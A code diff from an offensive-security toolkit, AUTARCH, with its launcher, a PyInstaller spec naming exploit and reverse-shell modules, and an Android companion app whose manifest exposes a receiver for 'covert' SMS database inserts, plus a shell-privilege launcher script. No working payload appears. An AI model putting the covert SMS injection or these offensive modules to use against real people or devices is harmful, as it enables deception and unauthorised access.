# Handle quick commands
|
||||||
|
if args.command:
|
||||||
|
if not args.no_banner:
|
||||||
|
clear_screen()
|
||||||
|
display_banner()
|
||||||
|
|
||||||
|
if args.command == 'chat':
|
||||||
|
run_module('chat', args.quiet)
|
||||||
|
elif args.command == 'agent':
|
||||||
|
run_module('agent', args.quiet)
|
||||||
|
elif args.command == 'osint':
|
||||||
|
if args.target:
|
||||||
|
quick_osint(args.target)
|
||||||
|
else:
|
||||||
|
print(f"{Colors.RED}Usage: autarch osint <username>{Colors.RESET}")
|
||||||
|
elif args.command == 'scan':
|
||||||
|
if args.target:
|
||||||
|
quick_scan(args.target)
|
||||||
|
else:
|
||||||
|
print(f"{Colors.RED}Usage: autarch scan <target>{Colors.RESET}")
|
||||||
|
elif args.command == 'analyze':
|
||||||
|
if args.target:
|
||||||
|
run_module('analyze', args.quiet)
|
||||||
|
else:
|
||||||
|
run_module('analyze', args.quiet)
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Default: run interactive menu
|
||||||
|
try:
|
||||||
|
# Display banner first
|
||||||
|
if not args.no_banner:
|
||||||
|
clear_screen()
|
||||||
|
display_banner()
|
||||||
|
|
||||||
|
# Check for first run and execute setup
|
||||||
|
check_first_run()
|
||||||
|
|
||||||
|
# Metasploit autoconnect
|
||||||
|
msf_autoconnect(
|
||||||
|
skip=args.no_msf,
|
||||||
|
username=args.msf_user,
|
||||||
|
password=args.msf_pass,
|
||||||
|
use_sudo=not args.msf_no_sudo
|
||||||
|
)
|
||||||
|
|
||||||
|
# Apply CLI display flags to config for this session
|
||||||
|
from core.config import get_config
|
||||||
|
cfg = get_config()
|
||||||
|
if args.verbose:
|
||||||
|
cfg.set('autarch', 'verbose', 'true')
|
||||||
|
if args.quiet:
|
||||||
|
cfg.set('autarch', 'quiet', 'true')
|
||||||
|
if args.no_banner:
|
||||||
|
cfg.set('autarch', 'no_banner', 'true')
|
||||||
|
|
||||||
|
# Start the main menu
|
||||||
|
from core.menu import MainMenu
|
||||||
|
menu = MainMenu()
|
||||||
|
menu.run()
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n\n{Colors.CYAN}Exiting AUTARCH...{Colors.RESET}")
|
||||||
|
sys.exit(0)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"\n{Colors.RED}Fatal error: {e}{Colors.RESET}")
|
||||||
|
if '--verbose' in sys.argv:
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
141
autarch.spec
Normal file
141
autarch.spec
Normal file
@ -0,0 +1,141 @@
|
|||||||
|
# -*- mode: python ; coding: utf-8 -*-
|
||||||
|
# PyInstaller spec for AUTARCH
|
||||||
|
# Build: pyinstaller autarch.spec
|
||||||
|
# Output: dist/bin/AUTARCH/ (one-dir) and dist/bin/AUTARCH.exe (one-file via --onefile)
|
||||||
|
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
SRC = Path(SPECPATH)
|
||||||
|
|
||||||
|
block_cipher = None
|
||||||
|
|
||||||
|
# ── Data files (non-Python assets to bundle) ─────────────────────────────────
|
||||||
|
added_files = [
|
||||||
|
# Web assets
|
||||||
|
(str(SRC / 'web' / 'templates'), 'web/templates'),
|
||||||
|
(str(SRC / 'web' / 'static'), 'web/static'),
|
||||||
|
|
||||||
|
# Data (SQLite DBs, site lists, config defaults)
|
||||||
|
(str(SRC / 'data'), 'data'),
|
||||||
|
|
||||||
|
# Modules directory (dynamically loaded)
|
||||||
|
(str(SRC / 'modules'), 'modules'),
|
||||||
|
|
||||||
|
# Root-level config and docs
|
||||||
|
(str(SRC / 'autarch_settings.conf'), '.'),
|
||||||
|
(str(SRC / 'autarch_settings.conf'), '.'),
|
||||||
|
(str(SRC / 'user_manual.md'), '.'),
|
||||||
|
(str(SRC / 'windows_manual.md'), '.'),
|
||||||
|
(str(SRC / 'custom_sites.inf'), '.'),
|
||||||
|
(str(SRC / 'custom_adultsites.json'), '.'),
|
||||||
|
|
||||||
|
# Android ADB/fastboot tools
|
||||||
|
(str(SRC / 'android'), 'android'),
|
||||||
|
|
||||||
|
# Windows tool binaries (nmap, tshark, etc. — user fills this in)
|
||||||
|
(str(SRC / 'tools'), 'tools'),
|
||||||
|
]
|
||||||
|
|
||||||
|
# ── Hidden imports ────────────────────────────────────────────────────────────
|
||||||
|
hidden_imports = [
|
||||||
|
# Flask ecosystem
|
||||||
|
'flask', 'flask.templating', 'jinja2', 'jinja2.ext',
|
||||||
|
'werkzeug', 'werkzeug.serving', 'werkzeug.debug',
|
||||||
|
'markupsafe',
|
||||||
|
|
||||||
|
# Core libraries
|
||||||
|
'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL',
|
||||||
|
'PIL.Image', 'PIL.ImageDraw', 'cryptography',
|
||||||
|
|
||||||
|
# AUTARCH core modules
|
||||||
|
'core.config', 'core.paths', 'core.banner', 'core.menu',
|
||||||
|
'core.llm', 'core.agent', 'core.tools',
|
||||||
|
'core.msf', 'core.msf_interface',
|
||||||
|
'core.hardware', 'core.android_protect',
|
||||||
|
'core.upnp', 'core.wireshark', 'core.wireguard',
|
||||||
|
'core.mcp_server', 'core.discovery',
|
||||||
|
'core.osint_db', 'core.nvd',
|
||||||
|
|
||||||
|
# Web routes (Flask blueprints)
|
||||||
|
'web.app', 'web.auth',
|
||||||
|
'web.routes.auth_routes',
|
||||||
|
'web.routes.dashboard',
|
||||||
|
'web.routes.defense',
|
||||||
|
'web.routes.offense',
|
||||||
|
'web.routes.counter',
|
||||||
|
'web.routes.analyze',
|
||||||
|
'web.routes.osint',
|
||||||
|
'web.routes.simulate',
|
||||||
|
'web.routes.settings',
|
||||||
|
'web.routes.upnp',
|
||||||
|
'web.routes.wireshark',
|
||||||
|
'web.routes.hardware',
|
||||||
|
'web.routes.android_exploit',
|
||||||
|
'web.routes.iphone_exploit',
|
||||||
|
'web.routes.android_protect',
|
||||||
|
'web.routes.wireguard',
|
||||||
|
'web.routes.revshell',
|
||||||
|
'web.routes.archon',
|
||||||
|
'web.routes.msf',
|
||||||
|
'web.routes.chat',
|
||||||
|
'web.routes.targets',
|
||||||
|
|
||||||
|
# Standard library (sometimes missed on Windows)
|
||||||
|
'email.mime.text', 'email.mime.multipart',
|
||||||
|
'xml.etree.ElementTree',
|
||||||
|
'sqlite3', 'json', 'logging', 'logging.handlers',
|
||||||
|
'threading', 'queue', 'uuid', 'hashlib',
|
||||||
|
'configparser', 'platform', 'socket', 'shutil',
|
||||||
|
'importlib', 'importlib.util', 'importlib.metadata',
|
||||||
|
]
|
||||||
|
|
||||||
|
a = Analysis(
|
||||||
|
['autarch.py'],
|
||||||
|
pathex=[str(SRC)],
|
||||||
|
binaries=[],
|
||||||
|
datas=added_files,
|
||||||
|
hiddenimports=hidden_imports,
|
||||||
|
hookspath=[],
|
||||||
|
hooksconfig={},
|
||||||
|
runtime_hooks=[],
|
||||||
|
excludes=[
|
||||||
|
# Exclude heavy optional deps not needed at runtime
|
||||||
|
'torch', 'transformers', 'llama_cpp', 'anthropic',
|
||||||
|
'tkinter', 'matplotlib', 'numpy',
|
||||||
|
],
|
||||||
|
noarchive=False,
|
||||||
|
optimize=0,
|
||||||
|
)
|
||||||
|
|
||||||
|
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||||
|
|
||||||
|
# ── One-directory build (recommended for Flask apps) ─────────────────────────
|
||||||
|
exe = EXE(
|
||||||
|
pyz,
|
||||||
|
a.scripts,
|
||||||
|
[],
|
||||||
|
exclude_binaries=True,
|
||||||
|
name='AUTARCH',
|
||||||
|
debug=False,
|
||||||
|
bootloader_ignore_signals=False,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
console=True,
|
||||||
|
disable_windowed_traceback=False,
|
||||||
|
argv_emulation=False,
|
||||||
|
target_arch=None,
|
||||||
|
codesign_identity=None,
|
||||||
|
entitlements_file=None,
|
||||||
|
icon=None,
|
||||||
|
)
|
||||||
|
|
||||||
|
coll = COLLECT(
|
||||||
|
exe,
|
||||||
|
a.binaries,
|
||||||
|
a.datas,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
upx_exclude=[],
|
||||||
|
name='AUTARCH',
|
||||||
|
)
|
||||||
61
autarch_companion/app/build.gradle.kts
Normal file
61
autarch_companion/app/build.gradle.kts
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.android.application")
|
||||||
|
}
|
||||||
|
|
||||||
|
android {
|
||||||
|
namespace = "com.darkhal.archon"
|
||||||
|
compileSdk = 36
|
||||||
|
|
||||||
|
defaultConfig {
|
||||||
|
applicationId = "com.darkhal.archon"
|
||||||
|
minSdk = 26
|
||||||
|
targetSdk = 36
|
||||||
|
versionCode = 2
|
||||||
|
versionName = "2.0.0"
|
||||||
|
}
|
||||||
|
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
isMinifyEnabled = false
|
||||||
|
proguardFiles(
|
||||||
|
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||||
|
"proguard-rules.pro"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
compileOptions {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_21
|
||||||
|
targetCompatibility = JavaVersion.VERSION_21
|
||||||
|
}
|
||||||
|
|
||||||
|
kotlin {
|
||||||
|
jvmToolchain(21)
|
||||||
|
}
|
||||||
|
|
||||||
|
buildFeatures {
|
||||||
|
viewBinding = true
|
||||||
|
}
|
||||||
|
|
||||||
|
packaging {
|
||||||
|
jniLibs {
|
||||||
|
useLegacyPackaging = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("androidx.core:core-ktx:1.12.0")
|
||||||
|
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||||
|
implementation("com.google.android.material:material:1.11.0")
|
||||||
|
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
|
||||||
|
implementation("androidx.navigation:navigation-fragment-ktx:2.7.7")
|
||||||
|
implementation("androidx.navigation:navigation-ui-ktx:2.7.7")
|
||||||
|
implementation("androidx.preference:preference-ktx:1.2.1")
|
||||||
|
implementation("androidx.webkit:webkit:1.10.0")
|
||||||
|
|
||||||
|
// Local ADB client (wireless debugging pairing + shell)
|
||||||
|
implementation("com.github.MuntashirAkon:libadb-android:3.1.1")
|
||||||
|
implementation("org.conscrypt:conscrypt-android:2.5.3")
|
||||||
|
}
|
||||||
128
autarch_companion/app/src/main/AndroidManifest.xml
Normal file
128
autarch_companion/app/src/main/AndroidManifest.xml
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||||
|
|
||||||
|
<!-- Wi-Fi Direct -->
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES"
|
||||||
|
android:usesPermissionFlags="neverForLocation"
|
||||||
|
android:minSdkVersion="33" />
|
||||||
|
|
||||||
|
<!-- Notifications (Android 13+) -->
|
||||||
|
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||||
|
|
||||||
|
<!-- SMS manipulation (covert database insert, not actual sending) -->
|
||||||
|
<uses-permission android:name="android.permission.READ_SMS" />
|
||||||
|
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_MMS" />
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
|
||||||
|
|
||||||
|
<!-- Bluetooth discovery -->
|
||||||
|
<uses-permission android:name="android.permission.BLUETOOTH" android:maxSdkVersion="30" />
|
||||||
|
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:maxSdkVersion="30" />
|
||||||
|
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"
|
||||||
|
android:usesPermissionFlags="neverForLocation"
|
||||||
|
android:minSdkVersion="31" />
|
||||||
|
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT" android:minSdkVersion="31" />
|
||||||
|
|
||||||
|
<!-- Optional hardware features -->
|
||||||
|
<uses-feature android:name="android.hardware.bluetooth" android:required="false" />
|
||||||
|
<uses-feature android:name="android.hardware.wifi.direct" android:required="false" />
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:allowBackup="true"
|
||||||
|
android:icon="@drawable/ic_archon"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/Theme.Archon"
|
||||||
|
android:usesCleartextTraffic="true">
|
||||||
|
|
||||||
|
<activity
|
||||||
|
android:name=".LoginActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:screenOrientation="portrait">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
<activity
|
||||||
|
android:name=".MainActivity"
|
||||||
|
android:exported="false"
|
||||||
|
android:screenOrientation="portrait" />
|
||||||
|
|
||||||
|
<receiver
|
||||||
|
android:name=".service.PairingReceiver"
|
||||||
|
android:exported="false">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="com.darkhal.archon.ACTION_PAIR" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<!-- SMS Worker: handles covert SMS insert/update from ADB broadcasts -->
|
||||||
|
<receiver
|
||||||
|
android:name=".service.SmsWorker"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="com.darkhal.archon.SMS_INSERT" />
|
||||||
|
<action android:name="com.darkhal.archon.SMS_UPDATE" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<!-- SMS Role stubs (required for cmd role add-role-holder) -->
|
||||||
|
<receiver
|
||||||
|
android:name=".service.SmsDeliverReceiver"
|
||||||
|
android:exported="true"
|
||||||
|
android:permission="android.permission.BROADCAST_SMS">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.provider.Telephony.SMS_DELIVER" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<receiver
|
||||||
|
android:name=".service.MmsDeliverReceiver"
|
||||||
|
android:exported="true"
|
||||||
|
android:permission="android.permission.BROADCAST_WAP_PUSH">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
|
||||||
|
<data android:mimeType="application/vnd.wap.mms-message" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<service
|
||||||
|
android:name=".service.RespondViaMessageService"
|
||||||
|
android:exported="true"
|
||||||
|
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
|
||||||
|
<data android:scheme="sms" />
|
||||||
|
<data android:scheme="smsto" />
|
||||||
|
<data android:scheme="mms" />
|
||||||
|
<data android:scheme="mmsto" />
|
||||||
|
</intent-filter>
|
||||||
|
</service>
|
||||||
|
|
||||||
|
<activity
|
||||||
|
android:name=".service.SmsComposeActivity"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.SEND" />
|
||||||
|
<action android:name="android.intent.action.SENDTO" />
|
||||||
|
<category android:name="android.intent.category.DEFAULT" />
|
||||||
|
<category android:name="android.intent.category.BROWSABLE" />
|
||||||
|
<data android:scheme="sms" />
|
||||||
|
<data android:scheme="smsto" />
|
||||||
|
<data android:scheme="mms" />
|
||||||
|
<data android:scheme="mmsto" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
</application>
|
||||||
|
|
||||||
|
</manifest>
|
||||||
54
autarch_companion/app/src/main/assets/arish
Normal file
54
autarch_companion/app/src/main/assets/arish
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
#!/system/bin/sh
|
||||||
|
# arish — Archon Remote Interactive Shell
|
||||||
|
# Like Shizuku's "rish" but for the Archon privileged server.
|
||||||
|
#
|
||||||
|
# This script finds the Archon APK and launches ArchonRish via app_process,
|
||||||
|
# which connects to the running ArchonServer and provides an interactive
|
||||||
|
# shell at UID 2000 (shell-level privileges).
|
||||||
|
#
|
||||||
|
# Installation:
|
||||||
|
# adb push arish /data/local/tmp/arish
|
||||||
|
# adb shell chmod 755 /data/local/tmp/arish
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# /data/local/tmp/arish — interactive shell
|
||||||
|
# /data/local/tmp/arish ls -la /data — single command
|
||||||
|
# /data/local/tmp/arish -t <token> — specify auth token
|
||||||
|
# /data/local/tmp/arish -p <port> — specify server port
|
||||||
|
|
||||||
|
PACKAGE="com.darkhal.archon"
|
||||||
|
|
||||||
|
# Find the APK path
|
||||||
|
APK_PATH=""
|
||||||
|
|
||||||
|
# Method 1: pm path (works if pm is available)
|
||||||
|
if command -v pm >/dev/null 2>&1; then
|
||||||
|
APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://')
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Method 2: Known install locations
|
||||||
|
if [ -z "$APK_PATH" ]; then
|
||||||
|
for dir in /data/app/*"$PACKAGE"*; do
|
||||||
|
if [ -f "$dir/base.apk" ]; then
|
||||||
|
APK_PATH="$dir/base.apk"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Method 3: Check /data/local/tmp for sideloaded APK
|
||||||
|
if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then
|
||||||
|
APK_PATH="/data/local/tmp/archon.apk"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$APK_PATH" ]; then
|
||||||
|
echo "arish: cannot find Archon APK ($PACKAGE)"
|
||||||
|
echo "arish: install the Archon app or place archon.apk in /data/local/tmp/"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Launch ArchonRish via app_process
|
||||||
|
export CLASSPATH="$APK_PATH"
|
||||||
|
exec /system/bin/app_process /system/bin \
|
||||||
|
--nice-name=arish \
|
||||||
|
com.darkhal.archon.server.ArchonRish "$@"
|
||||||
28
autarch_companion/app/src/main/assets/bbs/index.html
Normal file
28
autarch_companion/app/src/main/assets/bbs/index.html
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
|
||||||
|
<title>Autarch BBS</title>
|
||||||
|
<link rel="stylesheet" href="terminal.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div id="terminal">
|
||||||
|
<div id="header">
|
||||||
|
<pre id="banner">
|
||||||
|
╔══════════════════════════════════════╗
|
||||||
|
║ AUTARCH BBS v1.0 ║
|
||||||
|
║ Secured by Veilid Protocol ║
|
||||||
|
╚══════════════════════════════════════╝
|
||||||
|
</pre>
|
||||||
|
</div>
|
||||||
|
<div id="output"></div>
|
||||||
|
<div id="input-line">
|
||||||
|
<span class="prompt">></span>
|
||||||
|
<input type="text" id="cmd-input" autocomplete="off" autocorrect="off"
|
||||||
|
autocapitalize="off" spellcheck="false" autofocus>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script src="veilid-bridge.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
128
autarch_companion/app/src/main/assets/bbs/terminal.css
Normal file
128
autarch_companion/app/src/main/assets/bbs/terminal.css
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background: #000000;
|
||||||
|
color: #00FF41;
|
||||||
|
font-family: 'Source Code Pro', 'Courier New', monospace;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.4;
|
||||||
|
overflow: hidden;
|
||||||
|
height: 100vh;
|
||||||
|
width: 100vw;
|
||||||
|
}
|
||||||
|
|
||||||
|
#terminal {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
height: 100vh;
|
||||||
|
padding: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#header {
|
||||||
|
flex-shrink: 0;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#banner {
|
||||||
|
color: #00FF41;
|
||||||
|
font-size: 12px;
|
||||||
|
line-height: 1.2;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output {
|
||||||
|
flex: 1;
|
||||||
|
overflow-y: auto;
|
||||||
|
padding-bottom: 8px;
|
||||||
|
word-wrap: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output .line {
|
||||||
|
margin-bottom: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output .system {
|
||||||
|
color: #888888;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output .error {
|
||||||
|
color: #FF4444;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output .info {
|
||||||
|
color: #00AAFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output .success {
|
||||||
|
color: #00FF41;
|
||||||
|
}
|
||||||
|
|
||||||
|
#input-line {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
flex-shrink: 0;
|
||||||
|
border-top: 1px solid #333333;
|
||||||
|
padding-top: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.prompt {
|
||||||
|
color: #00FF41;
|
||||||
|
margin-right: 8px;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
#cmd-input {
|
||||||
|
flex: 1;
|
||||||
|
background: transparent;
|
||||||
|
border: none;
|
||||||
|
outline: none;
|
||||||
|
color: #00FF41;
|
||||||
|
font-family: 'Source Code Pro', 'Courier New', monospace;
|
||||||
|
font-size: 14px;
|
||||||
|
caret-color: #00FF41;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Blinking cursor effect */
|
||||||
|
@keyframes blink {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
#cmd-input:focus {
|
||||||
|
animation: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Scrollbar */
|
||||||
|
#output::-webkit-scrollbar {
|
||||||
|
width: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output::-webkit-scrollbar-track {
|
||||||
|
background: #111111;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output::-webkit-scrollbar-thumb {
|
||||||
|
background: #333333;
|
||||||
|
border-radius: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output::-webkit-scrollbar-thumb:hover {
|
||||||
|
background: #00FF41;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Loading animation */
|
||||||
|
.loading::after {
|
||||||
|
content: '';
|
||||||
|
animation: dots 1.5s steps(3, end) infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes dots {
|
||||||
|
0% { content: ''; }
|
||||||
|
33% { content: '.'; }
|
||||||
|
66% { content: '..'; }
|
||||||
|
100% { content: '...'; }
|
||||||
|
}
|
||||||
225
autarch_companion/app/src/main/assets/bbs/veilid-bridge.js
Normal file
225
autarch_companion/app/src/main/assets/bbs/veilid-bridge.js
Normal file
@ -0,0 +1,225 @@
|
|||||||
|
/**
|
||||||
|
* Autarch BBS — Veilid Bridge
|
||||||
|
*
|
||||||
|
* Handles the BBS terminal interface and will integrate with
|
||||||
|
* veilid-wasm when the BBS server is deployed on the VPS.
|
||||||
|
*
|
||||||
|
* Native Android bridge: window.ArchonBridge
|
||||||
|
*/
|
||||||
|
|
||||||
|
const output = document.getElementById('output');
|
||||||
|
const cmdInput = document.getElementById('cmd-input');
|
||||||
|
|
||||||
|
// Terminal output helpers
|
||||||
|
function writeLine(text, className) {
|
||||||
|
const div = document.createElement('div');
|
||||||
|
div.className = 'line' + (className ? ' ' + className : '');
|
||||||
|
div.textContent = text;
|
||||||
|
output.appendChild(div);
|
||||||
|
output.scrollTop = output.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function writeSystem(text) { writeLine(text, 'system'); }
|
||||||
|
function writeError(text) { writeLine(text, 'error'); }
|
||||||
|
function writeInfo(text) { writeLine(text, 'info'); }
|
||||||
|
function writeSuccess(text) { writeLine(text, 'success'); }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* VeilidBBS — placeholder for Veilid WASM integration.
|
||||||
|
*
|
||||||
|
* When the BBS server is deployed, this class will:
|
||||||
|
* 1. Load veilid-wasm from bundled assets
|
||||||
|
* 2. Initialize a Veilid routing context
|
||||||
|
* 3. Connect to the BBS server via DHT key
|
||||||
|
* 4. Send/receive messages through the Veilid network
|
||||||
|
*/
|
||||||
|
class VeilidBBS {
|
||||||
|
constructor() {
|
||||||
|
this.connected = false;
|
||||||
|
this.serverAddress = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
async initialize() {
|
||||||
|
// Get config from native bridge
|
||||||
|
if (window.ArchonBridge) {
|
||||||
|
this.serverAddress = window.ArchonBridge.getServerAddress();
|
||||||
|
const configJson = window.ArchonBridge.getVeilidConfig();
|
||||||
|
this.config = JSON.parse(configJson);
|
||||||
|
this.log('Veilid config loaded');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async connect() {
|
||||||
|
if (!this.serverAddress) {
|
||||||
|
writeError('No BBS server address configured.');
|
||||||
|
writeSystem('Set the Veilid BBS address in Settings.');
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
writeSystem('Connecting to Autarch BBS...');
|
||||||
|
writeSystem('Server: ' + this.serverAddress);
|
||||||
|
|
||||||
|
// Placeholder — actual Veilid connection will go here
|
||||||
|
// Steps when implemented:
|
||||||
|
// 1. await veilid.veilidCoreStartupJSON(config)
|
||||||
|
// 2. await veilid.veilidCoreAttach()
|
||||||
|
// 3. Create routing context
|
||||||
|
// 4. Open route to BBS server DHT key
|
||||||
|
// 5. Send/receive via app_message / app_call
|
||||||
|
|
||||||
|
writeError('Veilid WASM not yet loaded.');
|
||||||
|
writeSystem('BBS server deployment pending.');
|
||||||
|
writeSystem('');
|
||||||
|
writeInfo('The Autarch BBS will be available once the');
|
||||||
|
writeInfo('VPS server is configured and the Veilid');
|
||||||
|
writeInfo('WASM module is bundled into this app.');
|
||||||
|
writeSystem('');
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
async sendMessage(msg) {
|
||||||
|
if (!this.connected) {
|
||||||
|
writeError('Not connected to BBS.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// Placeholder for sending messages via Veilid
|
||||||
|
this.log('Send: ' + msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
async disconnect() {
|
||||||
|
this.connected = false;
|
||||||
|
writeSystem('Disconnected from BBS.');
|
||||||
|
}
|
||||||
|
|
||||||
|
log(msg) {
|
||||||
|
if (window.ArchonBridge) {
|
||||||
|
window.ArchonBridge.log(msg);
|
||||||
|
}
|
||||||
|
console.log('[VeilidBBS] ' + msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Command handler
|
||||||
|
const bbs = new VeilidBBS();
|
||||||
|
const commandHistory = [];
|
||||||
|
let historyIndex = -1;
|
||||||
|
|
||||||
|
const commands = {
|
||||||
|
help: function() {
|
||||||
|
writeInfo('Available commands:');
|
||||||
|
writeLine(' help — Show this help');
|
||||||
|
writeLine(' connect — Connect to Autarch BBS');
|
||||||
|
writeLine(' disconnect — Disconnect from BBS');
|
||||||
|
writeLine(' status — Show connection status');
|
||||||
|
writeLine(' clear — Clear terminal');
|
||||||
|
writeLine(' about — About Autarch BBS');
|
||||||
|
writeLine(' version — Show version info');
|
||||||
|
},
|
||||||
|
|
||||||
|
connect: async function() {
|
||||||
|
await bbs.connect();
|
||||||
|
},
|
||||||
|
|
||||||
|
disconnect: async function() {
|
||||||
|
await bbs.disconnect();
|
||||||
|
},
|
||||||
|
|
||||||
|
status: function() {
|
||||||
|
writeInfo('Connection Status:');
|
||||||
|
writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO'));
|
||||||
|
writeLine(' Server: ' + (bbs.serverAddress || 'not configured'));
|
||||||
|
if (window.ArchonBridge) {
|
||||||
|
writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl());
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
clear: function() {
|
||||||
|
output.innerHTML = '';
|
||||||
|
},
|
||||||
|
|
||||||
|
about: function() {
|
||||||
|
writeInfo('╔════════════════════════════════════╗');
